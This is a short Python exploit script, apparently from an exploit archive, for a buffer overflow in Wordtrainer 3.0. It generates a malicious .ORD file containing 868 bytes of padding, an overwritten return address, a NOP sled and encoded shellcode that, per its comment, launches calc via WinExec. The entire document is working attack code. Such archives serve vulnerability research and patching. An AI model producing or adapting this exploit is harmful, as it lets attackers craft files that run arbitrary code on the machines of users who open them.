Wordtrainer 3.0 Buffer Overflow

`#!/usr/bin/python  
#  
#[+]Exploit Title: Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability  
#[+]Date: 12\04\2011  
#[+]Author: C4SS!0 G0M3S  
#[+]Software Link: http://www.wordtrainer.net/software/files/wt307shw_exe/wt307shw.exe  
#[+]Version: 3.0  
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese  
#[+]CVE: N/A  
#  
#  
  
  
from struct import pack  
from time import sleep  
  
print """  
Exploit Buffer Overflow Wordtrainer 3.0  
Created BY C4SS!0 G0M3S  
E-mail [email protected]  
Site www.exploit-br.org  
  
"""  
buf = ("\x41" * 868)  
buf += pack('<L',0x00430363)  
buf += ("\x90" * 10)  
buf += ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"  
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"  
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"  
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"  
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"  
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" #Shellcode WinExec("calc",0)  
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"  
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"  
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"  
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"  
"\x7f\xe8\x7b\xca")  
buf += "\x41" * (2000-len(buf))  
head = ("\x47\x4C\x4F\x53\x4F\x52\x0D\x0A\x31\x0D\x0A\x0D\x0A\x20\x0D\x0A")  
  
head += (buf+"\r\n")  
  
print "[+]Creating the Exploit File..."  
sleep(1)  
FILE = open("Exploit.ord","wb")  
FILE.write(head)  
FILE.close()  
print "[+]File Created With Success\n"  
sleep(2)  
  
`